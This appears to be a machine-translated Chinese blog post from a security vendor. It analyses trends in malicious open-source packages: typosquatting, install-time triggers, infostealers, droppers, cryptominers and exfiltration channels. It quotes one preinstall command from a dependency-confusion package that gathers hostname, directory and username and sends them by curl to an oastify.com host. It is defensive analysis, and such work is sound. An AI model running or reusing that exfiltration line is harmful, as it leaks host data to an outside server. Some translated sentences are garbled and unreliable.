惡意包裹 5

惡意包裹剖析:有哪些趨勢?

在上一集中, 開源惡意軟體包:問題所在我們討論了為什麼威脅行為者如此如此 熱衷於發布新的惡意元件或在現有元件的最新版本中註入惡意軟體:開源基礎設施允許任何地方的任何人建立臨時帳戶。 在元件註冊表(例如 NPM、PyPI、Docker Hub 或 Visual Studio Marketplace)或協作開發平台(例如 GitHub)中。零成本,並且有很多機會可以利用軟體團隊歷來對第三方組件的過度信任。 

攻擊者利用開源基礎設施分發惡意軟體的難易程度,與軟體開發組織(所有人?)避免感染惡意軟體(以及在分發給其他人的軟體中傳播惡意軟體)的難度之間的不對稱性,導致去年惡意軟體包的數量幾乎達到了 25 萬個。 

這是一個規模龐大的問題,任何單一組織都無法獨自解決。目前,開源社群正在重新建構開源流程,包括信任、預設安全、安全設計原則以及元件生命週期等面向。我們將在下一集中探討這些理念。 防範開源惡意軟體包:哪些方法有效(哪些無效).

請記住,我們討論的是軟體元件,它們通常對應於 軟體套件:可重複使用的元件經過打包,可以作為軟體清單中的依賴項引用,並使用套件管理器或建置工具進行安裝。請注意,這種情況可以擴展到包括公共領域。 容器 圖片 (被 Kubernetes 等容器運行時和編排平台使用), 軟體工具的擴展 (用於建置、自動化和部署)。 

在這裡,我們將分析這一點。 基於惡意元件的攻擊策略 根據以往案例以及我們在惡意軟體預警平台上的觀察,這種方法是有效的。 (MEW)。我們將從不同維度剖析惡意元件: 

(1)選擇的分發方式(使用的註冊表、在新組件或現有組件中,以及用於感染已發布組件版本的技術),((2)惡意軟體是如何啟動或觸發的;(3)惡意行為,即觀察到的有害行為以及攻擊者的動機;(4)常用的混淆、隱藏以避免被察覺、橫向移動、與命令和控制(C2)主機通信等技術;以及(5)獲得足夠的流行度和信任,使受害者最終安裝該組件的技術。

選擇的分配機制

我們觀察到“背景噪音一些技術水平不高的惡意軟體利用域名搶注來欺騙粗心的開發者,這些軟體會在依賴項的軟體包名稱中故意拼寫錯誤。許多流行的軟體包都會遭到大量名稱相似但拼字錯誤的軟體包的攻擊,攻擊者希望藉此欺騙一些粗心的開發者。 

他們使用臨時帳號,發布一組網域搶注包,再創建另一個帳號,發布另一組…透過一些自動化和巧妙的手段,他們可以實現一些複雜的功能,但通常來說,這些功能都相當簡單。我們內部稱他們為“鳀魚竊取憑證是主要目標,但有時我們也會發現間諜軟體會竊取原始碼或敏感數據,例如個人識別資訊 (PII)、剪貼簿捕獲以及其他令人擔憂的問題。

突如其來的惡意元件更加複雜,被稱為「鯊魚」。少數惡意元件針對特定群體或組織,通常使用加密貨幣竊取器或網頁竊取器,這些程式會在特定條件下激活,其攻擊方式可能與先前報告的類似。 事件流事件 僅當目標軟體包引用該軟體包時才解密攻擊負載。 

該分配機制在一篇優秀且現已成為經典的論文中進行了分析,“背刺者的刀具收藏:開源軟體供應鏈攻擊綜述這篇文章絕對值得一讀。想必你以前也看過這張漂亮的圖表: 

惡意封包

我們探索了所有途徑,包括新的和現有的軟體包;影響原始碼、建置系統或打包元件本身;使用竊取的憑證或社會工程手段;劫持廢棄的帳戶和儲存庫或篡改維護的帳戶和儲存庫。一些攻擊被賦予了名稱(註冊近似域名, 依賴性混淆, 明顯的混亂, 回購劫持等等)並且已經在其他地方討論過了。 

那麼,選定的註冊機構呢?

NPM 的惡意軟體包總數仍然居高不下,但今年以來,PyPI 上的惡意軟體包數量出現了激增。 Python 是一個流行的資料科學和機器學習生態系統。事實上,PyPI 上的惡意軟體密度現在比 NPM 更高。 

惡意軟體是如何觸發的

惡意軟體包僅在十分之四的情況下會在安裝過程中觸發(近年來這一比例接近十分之六)。其餘的惡意行為均在運行時執行,其中百分之一的惡意行為是在執行測試時觸發的。攻擊者似乎知道,許多地方已經禁用了不受控制的安裝腳本執行。

壞人會得到什麼?

我們將列出惡意行為類別,最常見的排在最前面。請注意,不同類別的影響可能差異很大: 雨刮器 這種攻擊方式雖然具有頑固的破壞性,但並不常見,僅在少數案例中出現,通常與有針對性的網路戰或殘酷的駭客行動主義有關。以下幾種類型則較為常見:

  • InfoStealer / 憑證刪除器迄今為止,最常見的攻擊方式是簡單的竊取工具,超過 90% 的非複雜攻擊都是竊取憑證,例如密碼、存取權杖、API 金鑰和私鑰(用於 SSH 等)。這類工具可能是最容易寫的(或許與擦除工具一樣?)。它們會列舉已知的檔案/目錄和其他來源(例如註冊表項),打包內容,並將資料傳送到 C2 伺服器。其想法很簡單:“我發布一個竊取工具來獲取網路釣魚憑證,以便之後利用這些憑證發起定向攻擊。” 

觀察到的C2網路通常是廉價而簡陋的,例如Telegram頻道或 類似 ngrok 的隧道工具 (通常以反向代理的形式,透過 VPN 出口 IP 暴露出來)。可能性不勝枚舉(!),GitHub 上有很多相關的專案。 密碼竊取者主題像鍵盤記錄器這樣的特殊程式在惡意軟體包和容器鏡像中很少見,但在工具擴充中則更為常見,因為工具擴充功能需要使用者互動。

  • 下載器/下載器惡意元件的流行度排名第二,通常在多階段攻擊中處於第一階段。超過三分之一的惡意元件都帶有投放器(如果惡意負載包含在軟體包中)或下載器(有效載荷從攻擊者控制的端點下載)。有效載荷通常是已知的二進制惡意軟體變種,它會被運行,有時還會被持久化,用於安裝後門、間諜軟體、加密竊取程式以及其他用途。下載或部署的有效載荷會啟動第二階段攻擊,並利用現有惡意軟體二進位提供的所有功能。這些二進位檔案可以包含在軟體包中,通常偽裝成圖像或看似無害的檔案類型,以避免在連接到意外網站時被偵測到。 
  • 加密貨幣竊賊/礦工出於經濟利益驅動的攻擊者會利用你的雲端資產來運行加密貨幣挖礦程式(他們甚至可以偵測到這些程式是否運行在雲端虛擬機中)。他們並不關心… 低利潤率 對於被盜雲端基礎設施,受害者每支付 53 美元,就會被額外收取 1 美元。受害者可能直到收到意外帳單才會意識到這一點。幸運的是,這種情況不會很快結束。 Cryptojacking 惡意軟體包中的攻擊活動偶爾會突然出現,然後消失,其目標是錢包用戶或最終目標是錢包提供商,例如… 帳簿攻擊.   

其他行為,例如部署 後門 透過開啟反向 shell 執行遠端程式碼的情況現在比過去少見了。例如, 123rf_contributor_web 該軟體包(現在已從註冊表中移除)打開時沒有任何混淆,它是一個從…複製貼上的反向 shell。 反向殼層速查表:

惡意軟體包 2
2024年6月24日至30日這一周,發現了惡意包裹類型。

除了合法和惡意元件之外,我們還觀察到以下幾種濫用行為:

垃圾郵件包裹

成千上萬的小軟體包,大多發佈在 NPM 上,雖然沒有惡意軟體,卻承諾輕鬆賺錢、兜售假藥、提供威而鋼之類的連結等等。一些用戶發布此類垃圾訊息,佔用了大量註冊錶頻寬。另一些可能來自印尼的攻擊者試圖從中牟利。 濫用茶等級 此舉旨在透過創建數萬個相互關聯的 NPM 套件以及相關的 GitHub 虛擬倉庫來補償開源開發者。這明顯違反了使用條款。

漏洞賞金和安全研究騙局

 當一個軟體包聲稱其資料外洩的目的是為了正當用途,例如檢測安全漏洞以參與漏洞賞金計劃,或研究生態系統的某些方面時,我們就發現了數千個此類軟體包。這些軟體包會從 PortSwigger 取得身分資訊,但不會取得過於敏感的數據,並將資訊傳送至 Burp Collaborator 位址(例如 oastify.com 網域中的主機)。我們經常觀察到類似的模仿行為。 依賴性混淆 Alex Birsan 的概念驗證,就像 aurora-webmail-pro 該軟體包(已從註冊表中移除)會在預先安裝腳本中執行以下惡意程式碼:

exec("a=$(hostname; pwd; whoami; echo 'aurora-webmail-pro'; curl http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/;) && echo $a | xxd -p | head | while read ut; do curl -k -i -s http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/$ut;done")  

還包括“這是一個簡單的依賴混淆攻擊概念驗證。免責聲明描述 的package.json即使沒有惡意,這也明顯違反了服務條款。 

好消息是?我們(目前)還沒有發現透過惡意元件傳播的勒索軟體攻擊。出於未知原因,網路犯罪分子似乎更傾向於使用傳統的電子郵件釣魚、基於遠端桌面協定 (RDP) 的勒索軟體以及惡意下載傳播機制。 

觀察到的其他技術 

惡意軟體包 3

持久化、規避防禦、資訊收集、與指揮控制主機通訊以及資料外洩等多種技術被廣泛應用。 

堅持 惡意元件的持久性是透過第二階段二進位惡意軟體中的持久性功能實現的,但有時這種行為存在於軟體包程式碼中,其中最常見的是排程任務和 Windows 註冊表的變更。 

困惑 很常見,但不夠複雜。大多數域名搶注軟體包(記住“鳀魚? 」)完全不使用混淆技術;許多人要么使用簡單的混淆方法(base64/十六進制編碼或像rot13這樣的替換密碼),要么使用現成的代碼混淆器和壓縮工具,這些方法用合適的工具很容易逆向工程。只有“大佬”才會使用真正高難度、難以逆向工程的混淆技術。

混淆技術或許可以掩蓋攻擊,但開源元件中的程式碼為何需要混淆呢?是否有證據表明某些東西需要被隱藏起來?我們發現許多非惡意軟體包也使用混淆技術來保護智慧財產權,這與「開源」的概念相反。混淆可以作為惡意軟體的證據,但並非決定性證據。而且,反混淆也十分困難。 

閃避 防禦控制措施採用簡單的技術。惡意程式碼通常受到保護。 試著…捕捉 某些阻塞機制會忽略所有異常情況,因此日誌中不會顯示異常活動。除非是針對特定組織或環境的惡意軟體,否則很少會對運行環境(虛擬機器或容器)進行驗證。

將二進位檔案偽裝成影像和 PDF 檔案(類似於隱寫術)是另一種逃避偵測的技術。

由於最常見的惡意元件是資訊竊取程序, 數據收集 至關重要。金鑰(密碼、存取權杖、API金鑰、加密金鑰)經常被掃描,掃描範圍包括日誌檔案、環境變量,甚至剪貼簿(常見於銀行木馬和加密貨幣竊取程式)。原始碼外洩也很常見,因為軟體包安裝通常在開發節點上進行,而內部Git倉庫可能已被複製。我們發現有些軟體包會列舉目錄以尋找Git倉庫。尋找諸如.env、private.pem、settings.py、app.js或application.properties之類的位置非常普遍。

資料竊取是另一種廣泛使用的操作。只有極少數惡意軟體會嘗試隱藏提取資料的目的地。 Telegram 頻道和 類似 ngrok 的隧道 經常被使用。而且有很多。 通常情況下,用於資料外洩的白名單網域會被用於資料竊取。

其他技巧,如權限升級或橫向調動,則較不常見。 

贏得人氣和信任

想像一下,一個科技騙子手裡拿著一個現成的、極具殺傷力的惡意工具,他正在想:“我該如何讓那些毫無戒心的傻瓜們相信這個垃圾玩意兒呢?” 

這意味著要讓惡意元件的條目顯示許多星標/分支(代表受歡迎程度),以及版本/問題等資訊。 pull requests (用於活動)。其目的是獲得虛構的人氣(明星)和追隨者,以及在相關性和維護方面營造出令人信服的形象。 

註冊表不會檢查 GitHub 專案的內容和軟體包內容是否相符。這是軟體供應鏈中一個眾所周知的問題。公共註冊中心就像巨大的黑洞,吞噬一切上傳到其中的內容。你可以連結任何程式碼庫。 

惡意軟體包 4
2024 年 6 月 24 日至 30 日這一週內,潛在惡意軟體的證據分佈。

如果惡意軟體搶注了一個熱門倉庫的域名,那就很簡單:只需在創建該軟體包並將其發佈到註冊表時使用的依賴項清單中引用現有的 GitHub 倉庫即可。對於偽造的 GitHub 倉庫上的新軟體包,您可能需要更巧妙的方法,例如建立虛假的 GitHub 倉庫。 觀星/分叉 透過腳本建立GitHub帳戶。

如果你的軟體包內容與倉庫中的版本相當相似,那麼只需稍加修改……你就可以將惡意軟體注入到一個與熱門軟體包相似的新軟體包中,該軟體包引用了現有軟體包的倉庫,然後等待攻擊者發現拼寫錯誤。如果有人膽敢將軟體包壓縮包的內容與 GitHub 倉庫中的內容進行比較,那麼惡意軟體注入點的差異很容易被忽略。我們以前已經多次見過這種伎倆。 

如果能有一種機制,讓元件能夠產生一份防篡改的來源聲明,說明軟體包的建構方式、來源以及建構者,那就太好了。但這又是另一個話題了。 

元件 X 是惡意軟體嗎?

是否存在惡意軟體包的(全面)資料庫?沒有。開源漏洞會被分配一個 CVE 編號,但只有少數惡意軟體包(尤其是那些頻頻登上新聞頭條的)會被分配一個。惡意軟體包的 CWE 編號是… CWE-506 (嵌入惡意程式碼) 

常用的惡意軟體偵測工具(VirusTotal、MalwareBazaar、SOREL-20M 等)並未針對惡意元件做出專門的偵測。如果能做到這一點就太好了!

有一些用於分析的研究樣本資料庫和資料集(我們使用其中一些),但條目只有在惡意軟體包被發現後才會更新,而這通常為時已晚。如果您有興趣, OpenSSF 惡意包裹 這是一個不錯的開始。

下一篇文章我們將討論如何判斷一個軟體包是否惡意。劇透:是的,在暴露視窗期早期,在登錄機碼移除已知惡意元件之前,就有辦法檢查是否有惡意元件。

延伸閱讀

下一集“防範開源惡意軟體包:哪些方法有效(哪些無效) 我們將討論開源安全的注意事項。 大多數具有安全意識的專業人士對如何應對這種威脅都有直覺,但誤解卻比比皆是。 

我們將探討這些觀點為何錯誤,以及這些誤解如何助長了這種攻擊機制的流行,並導致組織機構面臨巨大的風險。接下來,我們將討論真正有效的方法,以及這些方法所需的投入和資源。 

此外,我們還將發布有關惡意軟體包的演變,包括其意圖、注入機制和攻擊技術等方面的內容。

敬請關注!

參考

開源惡意軟體包:問題所在

防範開源軟體惡意軟體包:哪些方法有效(哪些無效)

sca-tools-software-composition-analysis-tools
優先處理、補救並保護您的軟體風險
註冊免費帳號。
不需要信用卡。

確保您的軟體開發和交付安全

使用 Xygeni 產品套件